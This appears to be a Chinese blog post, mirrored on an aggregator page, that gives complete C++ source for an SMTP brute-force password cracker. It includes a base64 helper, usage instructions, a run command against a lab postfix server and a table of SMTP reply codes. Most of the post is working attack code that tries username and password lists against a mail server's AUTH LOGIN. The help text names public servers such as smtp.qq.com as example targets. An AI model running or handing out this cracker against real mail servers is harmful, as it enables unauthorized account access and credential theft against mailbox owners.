zoukankan      html  css  js  c++  java
  • SMTP暴力破解

    这里实现一个SMTP的暴力破解程序,实验搭建的是postfix服务器,猜解用户名字典(user.txt)和密码字典(password.txt)中匹配的用户名密码对,

    程序开发环境是:

      WinXP VC6.0

    参考资料:
    SMTP-E-mail密码暴力破解:  http://www.redicecn.com/html/yuanchuangchengxu/20090226/39.html
    Encoding and decoding base 64 with c++: http://renenyffenegger.ch/notes/development/Base64/Encoding-and-decoding-base-64-with-cpp
    这里要首先说明的是,参考资料“SMTP-E-mail密码暴力破解”中的base64算法存在问题,不能得到正确的结果,于是在网上找到了一个可以使用的base64的C++版的算法实现。而且,这个程序只能一次暴力猜解单个账户的密码。
    另外提供一个在线的base64编码/解码以供检测: http://www1.tc711.com/tool/BASE64.htm

     一、实验环境说明

      实验采用的是postfix服务器,关于邮件服务器的搭建这里就不做说明,需要费些功夫,网上也有很多的参考资料。

      邮箱域名是: mail.starnight.com   SMTP端口:25

      邮箱服务器内网地址是: 192.168.1.107  --  mail.starnight.com

      我们需要先修改一下hosts文件的内容:  C:WINDOWSsystem32driversetchosts  -- winxp (其他系统请自己查找hosts文件位置)

      增加如下记录:格式如: 

    your-ip-address  domain-name
    192.168.1.107    mail.starnight.com

      telnet上邮箱服务器(mail.starnight.com)的25号端口,并进行用户名密码验证。

      telnet mail.starnight.com 25

    【说明】

    1、helo/ehlo: 类似于跟远程服务器打招呼,但ehlo返回的消息更为丰富。

    2、进行用户名密码认证:

    auth login                  // 用户认证, 明文      
    334 VXNlcm5hbWU6              // 服务器回传 状态码334   base64编码后的Username:
    dGVzdDE=                   // base64编码的"test1"         
    334 UGFzc3dvcmQ6              // 服务器回传 状态码334   base64编码后的Password:
    MTIzNDU2                   // base64编码的"123456"
    235 2.7.0 Authentication successful   //服务器回传状态吗235 认证成功

    二、 Base64编码/解码算法C++实现

    这里可以直接参考上面给出的链接,为了避免存在可能访问不了的情况,现斗胆照搬过来:

    1、base64.h

    #include <string>
    std::string base64_encode(unsigned char const* , unsigned int len);
    std::string base64_decode(std::string const& s);

    2、base64.cpp

    /* 
       base64.cpp and base64.h
    
       Copyright (C) 2004-2017 René Nyffenegger
    
       This source code is provided 'as-is', without any express or implied
       warranty. In no event will the author be held liable for any damages
       arising from the use of this software.
    
       Permission is granted to anyone to use this software for any purpose,
       including commercial applications, and to alter it and redistribute it
       freely, subject to the following restrictions:
    
       1. The origin of this source code must not be misrepresented; you must not
          claim that you wrote the original source code. If you use this source code
          in a product, an acknowledgment in the product documentation would be
          appreciated but is not required.
    
       2. Altered source versions must be plainly marked as such, and must not be
          misrepresented as being the original source code.
    
       3. This notice may not be removed or altered from any source distribution.
    
       René Nyffenegger rene.nyffenegger@adp-gmbh.ch
    
    */
    
    #include "base64.h"
    #include <iostream>
    
    static const std::string base64_chars = 
                 "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                 "abcdefghijklmnopqrstuvwxyz"
                 "0123456789+/";
    
    
    static inline bool is_base64(unsigned char c) {
      return (isalnum(c) || (c == '+') || (c == '/'));
    }
    
    std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) {
      std::string ret;
      int i = 0;
      int j = 0;
      unsigned char char_array_3[3];
      unsigned char char_array_4[4];
    
      while (in_len--) {
        char_array_3[i++] = *(bytes_to_encode++);
        if (i == 3) {
          char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
          char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
          char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
          char_array_4[3] = char_array_3[2] & 0x3f;
    
          for(i = 0; (i <4) ; i++)
            ret += base64_chars[char_array_4[i]];
          i = 0;
        }
      }
    
      if (i)
      {
        for(j = i; j < 3; j++)
          char_array_3[j] = '';
    
        char_array_4[0] = ( char_array_3[0] & 0xfc) >> 2;
        char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
        char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
        char_array_4[3] =   char_array_3[2] & 0x3f;
    
        for (j = 0; (j < i + 1); j++)
          ret += base64_chars[char_array_4[j]];
    
        while((i++ < 3))
          ret += '=';
    
      }
    
      return ret;
    
    }
    
    std::string base64_decode(std::string const& encoded_string) {
      int in_len = encoded_string.size();
      int i = 0;
      int j = 0;
      int in_ = 0;
      unsigned char char_array_4[4], char_array_3[3];
      std::string ret;
    
      while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
        char_array_4[i++] = encoded_string[in_]; in_++;
        if (i ==4) {
          for (i = 0; i <4; i++)
            char_array_4[i] = base64_chars.find(char_array_4[i]);
    
          char_array_3[0] = ( char_array_4[0] << 2       ) + ((char_array_4[1] & 0x30) >> 4);
          char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
          char_array_3[2] = ((char_array_4[2] & 0x3) << 6) +   char_array_4[3];
    
          for (i = 0; (i < 3); i++)
            ret += char_array_3[i];
          i = 0;
        }
      }
    
      if (i) {
        for (j = i; j <4; j++)
          char_array_4[j] = 0;
    
        for (j = 0; j <4; j++)
          char_array_4[j] = base64_chars.find(char_array_4[j]);
    
        char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
        char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
        char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
    
        for (j = 0; (j < i - 1); j++) ret += char_array_3[j];
      }
    
      return ret;
    }

    3、test.cpp

    #include "base64.h"
    #include <iostream>
    
    int main() {
      const std::string s = 
        "René Nyffenegger
    "
        "http://www.renenyffenegger.ch
    "
        "passion for data
    ";
    
      std::string encoded = base64_encode(reinterpret_cast<const unsigned char*>(s.c_str()), s.length());
      std::string decoded = base64_decode(encoded);
    
      std::cout << "encoded: " << std::endl << encoded << std::endl << std::endl;
      std::cout << "decoded: " << std::endl << decoded << std::endl;
    
      return 0;
    }

     三、暴力破解程序实现

    1、实现代码

      代码中添加了相当的注释,应该不难理解,跟原"SMTP-E-mail密码暴力破解"相比,不仅修正了base64算法,而且可以针对用户名字典-密码字典的暴力猜解。

    #include <iostream>
    #include <winsock2.h>
    #include "base64.h"
    
    using namespace std;
    
    #pragma comment(lib, "ws2_32.lib")
    
    FILE *fpPass, *fpUser, *fpResult;            // 文件描述符,用户名、密码文件、保存破解文件指针
    SOCKET sock;                                // 套接字描述符
    char send_wait(char *, char *, char);        // 函数声明:发送数据并等待接受响应码
    void usage();                                // 程序使用说明
    void initialsocket();                        // 重置连接
    struct sockaddr_in destAddr;                // 目的地址
    
    int main( int argc, char *argv[] )
    {
        WSADATA wsaData;            
        DWORD starttime;            // 程序运行的起始时间
        struct hostent *host;        // 域名转换
        char userFile[101];            // 用户名字典文件
        char passFile[101];         // 密码字典文件路径
        char username[21];            // 用户名
        char password[21];            // 密码
        
        int k = 0, i = 0, j = 0;            // 已读取密码文件行数
        char *ICMP_DEST_IP;            // DNS查询到的IP地址
        
        memset(passFile, 0, sizeof(passFile));
        memset(userFile, 0, sizeof(userFile));    
        // 打印使用帮助
        if( 1 == argc )
        {
            usage();
            return -1;
        }
        
        for( i = 0; i < argc; i++ )
        {
            // 用户名字典文件
            if(strstr(argv[i], "-u"))
            {
                if(strlen(argv[i+1]) > 100)
                {
                    printf("用户名字典文件名太长!
    ");
                    return 1;
                }
                strncpy(userFile, argv[i+1], strlen(argv[i+1]));            // 拷贝密码字典文件路径
                i++;
            }
            // 密码字典文件
            if(strstr(argv[i], "-p"))
            {
                if(strlen(argv[i+1]) > 100)
                {
                    printf("密码字典文件名太长!
    ");
                    return 1;
                }
                strncpy(passFile, argv[i+1], strlen(argv[i+1]));            // 拷贝密码字典文件路径
                i++;
            }        
            if(strstr(argv[i], "-?"))                                        // 帮助
            {
                usage();
                return 3;
            }
        }
        
        // 判断用户名和密码文件路径是否为空
        if(strlen(userFile) == 0 || strlen(passFile) == 0)
        {
            printf("请指定用户名和密码字典路径!
    ");
            usage();
            return 4;
        }
        
        printf("userFile:%s 	 passFile:%s
    ", userFile, passFile);
    
        // 最后一个参数输入域名
        ICMP_DEST_IP = argv[argc-1];            
        
        if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
        {
            printf("套接字版本协商出错!
    ");
            WSACleanup();
            return 5;
        }
        
        // 域名解析
        host = gethostbyname(ICMP_DEST_IP);
        if(NULL == host)
        {
            printf("无法解析主机%s的IP地址!
    ", ICMP_DEST_IP);
            WSACleanup();
            return 6;
        } 
        else        // 使用获取到的第一个IP地址
        {
            ICMP_DEST_IP = inet_ntoa(*(struct in_addr*)host->h_addr_list[0]);
            printf("server ip : %s
    ", ICMP_DEST_IP);
        }
        
        // 填写目的地址结构体: 协议、地址、端口  SMTP:25
        memset(&destAddr, 0, sizeof(destAddr));
        destAddr.sin_family = AF_INET;
        destAddr.sin_addr.s_addr = inet_addr(ICMP_DEST_IP);  
        destAddr.sin_port = htons(25);
        
        // 以只读打开用户名、密码文件、破解成功的结果
        
        fpUser = fopen(userFile, "r");
        fpResult = fopen("result.txt", "w");
    
        if( NULL == fpUser )
        {
            printf("打开文件失败,请检查输入文件是否存在!
    ");
            WSACleanup();
            return 7;
        }
    
        initialsocket();                    // 初始化socket连接
        starttime = GetTickCount();            // 获取当前偏移时间
    
        memset(username, 0, sizeof(username));
        while(fgets(username, 20, fpUser))
        {
            j++;
    //        username[strlen(username)-1] = '';
            if(username[strlen(username)-1]==0x0A)
                username[strlen(username)-1]=0;
    
            memset(password, 0, sizeof(password));
            fpPass = fopen(passFile, "r");                    // 重新打开文件
            while (fgets(password, 20, fpPass))
            {
                k++;
            //    password[strlen(password)-1] = '';
                if(password[strlen(password)-1]==0x0A)
                    password[strlen(password)-1]=0;
                printf("%d:%d username:%s 	 password:%s
    ", j, k, username, password);
    
                //发送AUTH LOGIN命令,并起到接收响应码334
                if(send_wait("AUTH LOGIN", "334", 0) != 2)
                    continue;
    
                if(send_wait(username, "334", 1) != 2)
                    continue;
    
                if(send_wait(password, "235", 1) != 2)
                    continue;
                else
                {
                    printf("------------ find a pair ---------------
    ");
                    printf("username:%s 	 password:%s
    ", username, password);
                    printf("----------------------------------------
    ");
    
                    //  将保存的结果写入到文件中
                    fputs(username, fpResult);
                    fputs(":", fpResult);
                    fputs(password, fpResult);
                    fputs("
    ", fpResult);
                    
                    // 发送quit消息,退出登录状态,再初始化连接
                    if(send_wait("QUIT", "221", 0) != 2)
                        printf("disconnected failed!!!
    ");
                    else
                        printf("disconnected from remote mail server...
    ");
                    initialsocket();
            
                    memset(username, 0, sizeof(username));
                    break;
                    fclose(fpPass);                
                }
            }
        }
    
        printf("程序运行耗时:%ds:%dms
    ", ((GetTickCount()-starttime)) / 1000, ((GetTickCount()-starttime)) % 1000 );
        fclose(fpPass);
        closesocket(sock);
        WSACleanup();
        return 0;
    }
    
    
    /**
    ** 发送数据并等待接受响应码
    ** 参数说明: command: 发送的命令、 responseCode: 期待接受的响应码、 isEncode: 是否需要base64编码(1表示需要,0表示不需要)
    ** 返回值: -1:发送失败、 0:接收数据出错、 1:没有成功接收到响应码 、 2:成功接收到响应码    
    */
    char send_wait(char *command, char *responseCode, char isEncode)
    {
    //    unsigned char *base64;
        char smtp_data[101];            // 提交给SMTP服务器的数据
        char recvBuf[201];                // 接收数据缓冲区
        DWORD starttime;                // 开始时间
        memset(smtp_data, 0, sizeof(smtp_data));
        if(isEncode)        // 需要进行base64编码
        {
            std::string encoded = base64_encode(reinterpret_cast<const unsigned char*>((string(command).c_str())), string(command).length());
            printf("encode : %s
    ", encoded.c_str());
            strcpy(smtp_data, encoded.c_str());
        } else
        {
            strcpy(smtp_data, command);
        }
        
        // 加上换行符
        smtp_data[strlen(smtp_data)] = 0x0D;
        smtp_data[strlen(smtp_data)] = 0x0A;
    
        if(SOCKET_ERROR == send(sock, smtp_data, strlen(smtp_data), 0))
        {
            printf("发送请求出错!
    ");
            return -1;
        }
        memset(recvBuf, 0, sizeof(recvBuf));
        starttime = GetTickCount();
        while(1)
        {
            // 设置2s的超时时间
            if(GetTickCount() - starttime > 2000)
            {
                printf("timeout...
    ");
                return 0;
            }
            
            if(SOCKET_ERROR == recv(sock, recvBuf, 200, 0))
            {
                printf("接收信息出错");
                return 0;
            }
            else 
            {
                printf("recvBuf:==# %s 
    ", recvBuf);
                if(NULL == strstr(recvBuf, responseCode))
                {
                    if(strstr(recvBuf, "421") || strstr(recvBuf, "451"))
                        initialsocket();            // 重置socket连接
                    return 1;
                }
                else 
                    return 2;
            }
        }
    }
    
    
    // 程序使用说明
    void usage()
    {
        printf("============================E-mail密码暴力破解工具=============================
    ");
        printf("By RedIce:redice@see.xidian.edu.cn
    ");
        printf("Modified by starnight(starnight_cyber@foxmail.com) -- 2017.3.31 
    ");
        printf("注意:国内部分SMTP服务器有防暴力破解设置(eg. smtp.126.com)
    ");
        printf("================================================================================
    ");
        printf("Usage: SMTPBruteForce.exe  -u pathToUsername -p pathToPassword smtpServerAddress
    ");
        printf("Options:
    
    ");
        printf("        -u pathToUsername:指定用户名字典文件
    ");
        printf("        -f pathToPassword:指定密码字典文件
    ");
        printf("        -? 显示该帮助信息
    
    ");
        printf("        smtpServerAddress: 邮箱服务器地址,如smtp.qq.com
    ");
    }
    
    
    void initialsocket()
    {
        char recvBuf[201];            // 接收服务器返回数据缓冲区
        int timeout = 3000;
        closesocket(sock);
        sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);            // 创建套接字
        if(INVALID_SOCKET == sock)
        {
            printf("创建套接字出错!
    ");
            WSACleanup();
            exit(0);
        }
        
        // 连接目标主机
        if(SOCKET_ERROR == connect(sock, (SOCKADDR*)&destAddr, sizeof(destAddr)))
        {
            printf("连接目标主机失败!.
    ");
            closesocket(sock);
            WSACleanup();
            exit(0);
        }
        
        // 设置超时时间
        if(SOCKET_ERROR == setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout)))
        {
            printf("设置套接字超时失败!.
    ");
            closesocket(sock);
            WSACleanup();
            exit(0);
        }
        
        memset(recvBuf, 0, sizeof(recvBuf));
        if(SOCKET_ERROR == recv(sock, recvBuf, 200, 0))
        {
            printf("接收连接信息出错!.
    ");
            closesocket(sock);
            WSACleanup();
            exit(0);
        }
        else {
            if(strstr(recvBuf, "554"))
            {
                printf("该服务器有防暴力破解设置,您的IP地址被临时禁制连接,请稍后再试...
    ");
                printf("From SMTP Server : 
    %s
    ", recvBuf);
                closesocket(sock);
                WSACleanup();
                exit(0);
            }
        }
        // 发送"EHLO starnight.com"命令,并期待接收响应码250
        send_wait("EHLO mail.starnight.com", "250", 0);
    }

    2、使用方法说明Usage: 

    Usage: SMTPBruteForce.exe  -u pathToUsername -p pathToPassword smtpServerAddress
    
    Options:
    
            -u pathToUsername:指定用户名字典文件
            -f pathToPassword:指定密码字典文件
            -? 显示该帮助信息
    
            smtpServerAddress: 邮箱服务器地址,如smtp.qq.com

    3、暴力破解测试

    C:codeSMTPBruteForceDebug>SMTPBruteForce.exe -u user.txt -p password.txt mail.starnight.com

    实验结果截图:

    值得说明的是,这种验证方式会比较慢...

    源代码百度云分享: 链接: https://pan.baidu.com/s/1o88st66 密码: ubvw

    四、SMTP状态码

    Code    Meaning
    200    (nonstandard success response, see rfc876)
    211    System status, or system help reply
    214    Help message
    220    <domain> Service ready
    221    <domain> Service closing transmission channel
    250    Requested mail action okay, completed
    251    User not local; will forward to <forward-path>
    252    Cannot VRFY user, but will accept message and attempt delivery
    354    Start mail input; end with <CRLF>.<CRLF>
    421    <domain> Service not available, closing transmission channel
    450    Requested mail action not taken: mailbox unavailable
    451    Requested action aborted: local error in processing
    452    Requested action not taken: insufficient system storage
    500    Syntax error, command unrecognised
    501    Syntax error in parameters or arguments
    502    Command not implemented
    503    Bad sequence of commands
    504    Command parameter not implemented
    521    <domain> does not accept mail (see rfc1846)
    530    Access denied (???a Sendmailism)
    550    Requested action not taken: mailbox unavailable
    551    User not local; please try <forward-path>
    552    Requested mail action aborted: exceeded storage allocation
    553    Requested action not taken: mailbox name not allowed
    554    Transaction failed

    SMTP状态码:

    http://www.greenend.org.uk/rjk/tech/smtpreplies.html

    https://tools.ietf.org/rfc/rfc4954.txt

    中文参考: 

    http://blog.sina.com.cn/s/blog_648d85ef0100yg1t.html

    http://www.codeweblog.com/smtp%E7%8A%B6%E6%80%81%E7%A0%81/

     最后,欢迎大家跟我交流!

  • 相关阅读:
    vue 中 vue-router、transition、keep-alive 怎么结合使用?
    vue 对列表数组删除和增加
    eclipse如何快速查找某个类
    在 eclipse 中设置每行的字数
    如何查看某个端口被谁占用
    sql只修改第一二行数据
    android真机自动化测试
    appium自动化测试中获取toast消息的解决方法【转】
    eclipse下python的selenium自动化环境的搭建
    Xpath用法官方手册
  • 原文地址:https://www.cnblogs.com/Hi-blog/p/6653775.html
Copyright © 2011-2022 走看看